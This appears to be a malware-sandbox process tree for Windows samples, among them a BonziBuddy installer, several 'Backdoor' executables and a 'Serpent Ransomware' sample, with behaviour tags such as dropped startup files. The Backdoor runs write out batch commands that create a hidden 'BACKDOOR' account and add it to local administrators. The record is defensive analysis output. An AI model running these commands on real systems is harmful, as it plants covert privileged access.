C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2852 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3236 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3556 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3908 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3076 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1716 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4084 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=972 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1936 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2352 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2324 /prefetch:82⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2164 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2672 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2604 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2852 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3904 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3864 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3484 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2708 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2796 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3160 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=800 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=804 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4288 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4184 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4300 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4348 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4500 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3704 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2852 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2924 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4284 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4336 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4572 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4452 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4360 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1112,2415486178532155235,1873499562269391070,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4156 /prefetch:82⤵
-
C:\Users\Admin\AppData\Local\Temp\Temp1_Bonzi.zip\BonziBuddy432.exe"C:\Users\Admin\AppData\Local\Temp\Temp1_Bonzi.zip\BonziBuddy432.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Program Files (x86)\BonziBuddy432\Runtimes\CheckRuntimes.bat" "2⤵
-
C:\Program Files (x86)\BonziBuddy432\Runtimes\MSAGENT.EXEMSAGENT.EXE3⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\AgentCtl.dll"4⤵
- Modifies registry class
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\AgentDPv.dll"4⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\mslwvtts.dll"4⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\AgentDP2.dll"4⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\AgentMPx.dll"4⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\AgentSR.dll"4⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Windows\msagent\AgentPsh.dll"4⤵
-
C:\Windows\msagent\AgentSvr.exe"C:\Windows\msagent\AgentSvr.exe" /regserver4⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SysWOW64\grpconv.exegrpconv.exe -o4⤵
-
C:\Program Files (x86)\BonziBuddy432\Runtimes\tv_enua.exetv_enua.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s C:\Windows\lhsp\tv\tv_enua.dll4⤵
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s C:\Windows\lhsp\tv\tvenuax.dll4⤵
-
C:\Windows\SysWOW64\grpconv.exegrpconv.exe -o4⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://bonzibuddy.tk/2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:360 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x5b01⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\BonziBuddy432\BonziBDY_35.EXE"C:\Program Files (x86)\BonziBuddy432\BonziBDY_35.EXE"1⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\msagent\AgentSvr.exeC:\Windows\msagent\AgentSvr.exe -Embedding1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\BonziBuddy432\BonziBDY_2.EXE"C:\Program Files (x86)\BonziBuddy432\BonziBDY_2.EXE"1⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe shell32.dll,Control_RunDLL speech.cpl,,02⤵
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL speech.cpl,,03⤵
-
C:\Windows\system32\mspaint.exe"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Desktop\BlockJoin.emf"1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1020 CREDAT:275457 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1020 CREDAT:406533 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1020 CREDAT:472074 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\taskeng.exetaskeng.exe {6DB778FF-F276-4D9F-A80C-E6AE1C1C0312} S-1-5-18:NT AUTHORITY\System:Service:1⤵
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource scheduler2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /c2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /cr3⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleCrashHandler.exe"C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleCrashHandler.exe"3⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleCrashHandler64.exe"C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleCrashHandler64.exe"3⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource core3⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /svc1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\Install\{D24CE29F-626D-42CD-9846-DE2B5C14D165}\96.0.4664.110_chrome_installer.exe"C:\Program Files (x86)\Google\Update\Install\{D24CE29F-626D-42CD-9846-DE2B5C14D165}\96.0.4664.110_chrome_installer.exe" --verbose-logging --do-not-launch-chrome --channel=stable --system-level2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\Install\{D24CE29F-626D-42CD-9846-DE2B5C14D165}\CR_0FD93.tmp\setup.exe"C:\Program Files (x86)\Google\Update\Install\{D24CE29F-626D-42CD-9846-DE2B5C14D165}\CR_0FD93.tmp\setup.exe" --install-archive="C:\Program Files (x86)\Google\Update\Install\{D24CE29F-626D-42CD-9846-DE2B5C14D165}\CR_0FD93.tmp\CHROME.PACKED.7Z" --verbose-logging --do-not-launch-chrome --channel=stable --system-level3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
-
C:\Program Files (x86)\Google\Update\Install\{D24CE29F-626D-42CD-9846-DE2B5C14D165}\CR_0FD93.tmp\setup.exe"C:\Program Files (x86)\Google\Update\Install\{D24CE29F-626D-42CD-9846-DE2B5C14D165}\CR_0FD93.tmp\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win32 --annotation=prod=Chrome --annotation=ver=96.0.4664.110 --initial-client-data=0x1bc,0x1c0,0x1c4,0x190,0x1c8,0x49a000,0x49a010,0x49a01c4⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleCrashHandler64.exe"C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleCrashHandler64.exe"2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleCrashHandler.exe"C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleCrashHandler.exe"2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4xMTIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4xMTEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7Njk1MkZBQTktMjJDMi00ODBBLThCNTctNDBGMTcwMTkyOTBCfSIgdXNlcmlkPSJ7QkU2RTFEOTQtMUE5Ny00MzVCLTlEMjYtNjg0OUE5RTA0NTREfSIgaW5zdGFsbHNvdXJjZT0ic2NoZWR1bGVyIiByZXF1ZXN0aWQ9Ins2Qjg0RDRGRS03RjY1LTRCQTYtOEJCNi1GNURBMTI5OUJERDl9IiBkZWR1cD0iY3IiIGRvbWFpbmpvaW5lZD0iMCI-PGh3IHBoeXNtZW1vcnk9IjIiIHNzZT0iMSIgc3NlMj0iMSIgc3NlMz0iMSIgc3NzZTM9IjEiIHNzZTQxPSIxIiBzc2U0Mj0iMSIgYXZ4PSIxIi8-PG9zIHBsYXRmb3JtPSJ3aW4iIHZlcnNpb249IjYuMS43NjAxLjAiIHNwPSJTZXJ2aWNlIFBhY2sgMSIgYXJjaD0ieDY0Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzQy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249Ijg5LjAuNDM4OS4xMTQiIG5leHR2ZXJzaW9uPSI5Ni4wLjQ2NjQuMTEwIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBleHBlcmltZW50cz0iY2hyb21lcmVjMz0yMDIyMDJSIiBpbnN0YWxsYWdlPSIzMSIgaW5zdGFsbGRhdGU9IjU0ODEiIGNvaG9ydD0iMTpndToxMmw5QDAuNSIgY29ob3J0bmFtZT0iU3RhYmxlIj48ZXZlbnQgZXZlbnR0eXBlPSIxMiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIvPjxldmVudCBldmVudHR5cGU9IjEzIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMTQiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIGRvd25sb2FkZXI9ImJpdHMiIHVybD0iaHR0cDovL2VkZ2VkbC5tZS5ndnQxLmNvbS9lZGdlZGwvcmVsZWFzZTIvY2hyb21lL2FkN2d2b2RoNmFmaXVocmRicWlycGtod3N0cmFfOTYuMC40NjY0LjExMC85Ni4wLjQ2NjQuMTEwX2Nocm9tZV9pbnN0YWxsZXIuZXhlIiBkb3dubG9hZGVkPSI3NzEwNjI4MCIgdG90YWw9Ijc3MTA2MjgwIiBkb3dubG9hZF90aW1lX21zPSI4NjYzIi8-PGV2ZW50IGV2ZW50dHlwZT0iMTQiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIxNSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIvPjxldmVudCBldmVudHR5cGU9IjMiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjE5NjYwOSIgc291cmNlX3VybF9pbmRleD0iMCIgdXBkYXRlX2NoZWNrX3RpbWVfbXM9IjI2NTciIGRvd25sb2FkX3RpbWVfbXM9Ijk1OTUiIGRvd25sb2FkZWQ9Ijc3MTA2MjgwIiB0b3RhbD0iNzcxMDYyODAiIGluc3RhbGxfdGltZV9tcz0iNDQ5OTgiLz48L2FwcD48L3JlcXVlc3Q-2⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\Backdoor\Backdoor(na).exe"C:\Users\Admin\Desktop\Backdoor\Backdoor(na).exe"1⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F1DE.tmp\F1DF.bat C:\Users\Admin\Desktop\Backdoor\Backdoor(na).exe"2⤵
-
C:\Windows\system32\net.exenet user BACKDOOR /ADD3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user BACKDOOR /ADD4⤵
-
C:\Windows\system32\net.exenet localgroup administrators BACKDOOR /add3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup administrators BACKDOOR /add4⤵
-
C:\Windows\system32\net.exenet user BACKDOOR /active:no3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user BACKDOOR /active:no4⤵
-
C:\Users\Admin\Desktop\Backdoor\Backdoor(np).exe"C:\Users\Admin\Desktop\Backdoor\Backdoor(np).exe"1⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F631.tmp\F632.bat C:\Users\Admin\Desktop\Backdoor\Backdoor(np).exe"2⤵
-
C:\Windows\system32\net.exenet user BACKDOOR/ADD3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user BACKDOOR/ADD4⤵
-
C:\Windows\system32\net.exenet localgroup administrators BACKDOOR /add3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup administrators BACKDOOR /add4⤵
-
C:\Windows\system32\net.exenet user BACKDOOR /active:no3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user BACKDOOR /active:no4⤵
-
C:\Users\Admin\Desktop\Backdoor\Backdoor(np).exe"C:\Users\Admin\Desktop\Backdoor\Backdoor(np).exe"1⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F844.tmp\F845.bat C:\Users\Admin\Desktop\Backdoor\Backdoor(np).exe"2⤵
-
C:\Windows\system32\net.exenet user BACKDOOR/ADD3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user BACKDOOR/ADD4⤵
-
C:\Windows\system32\net.exenet localgroup administrators BACKDOOR /add3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup administrators BACKDOOR /add4⤵
-
C:\Windows\system32\net.exenet user BACKDOOR /active:no3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user BACKDOOR /active:no4⤵
-
C:\Users\Admin\Desktop\Backdoor\Backdoor.exe"C:\Users\Admin\Desktop\Backdoor\Backdoor.exe"1⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FC78.tmp\FC79.bat C:\Users\Admin\Desktop\Backdoor\Backdoor.exe"2⤵
-
C:\Windows\system32\net.exenet user BACKDOOR /ADD3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user BACKDOOR /ADD4⤵
-
C:\Windows\system32\net.exenet localgroup administrators BACKDOOR /add3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup administrators BACKDOOR /add4⤵
-
C:\Windows\system32\net.exenet user BACKDOOR /active:no3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user BACKDOOR /active:no4⤵
-
C:\Users\Admin\Desktop\Hotbest\hotbest.exe"C:\Users\Admin\Desktop\Hotbest\hotbest.exe"1⤵
-
C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 4642⤵
-
C:\Users\Admin\Desktop\Serpent Ransomware\software.exe"C:\Users\Admin\Desktop\Serpent Ransomware\software.exe"1⤵
- NTFS ADS
-
C:\Users\Admin\AppData\Roaming\raesdfgiuytr\iutyfghjkoiuytf.exe"C:\Users\Admin\AppData\Roaming\raesdfgiuytr\iutyfghjkoiuytf.exe"2⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\raesdfgiuytr\iutyfghjkoiuytf.exe"C:\Users\Admin\AppData\Roaming\raesdfgiuytr\iutyfghjkoiuytf.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\raesdfgiuytr\iutyfghjkoiuytf.exe"C:\Users\Admin\AppData\Roaming\raesdfgiuytr\iutyfghjkoiuytf.exe" 2 3284 2600095493⤵
- Executes dropped EXE
-
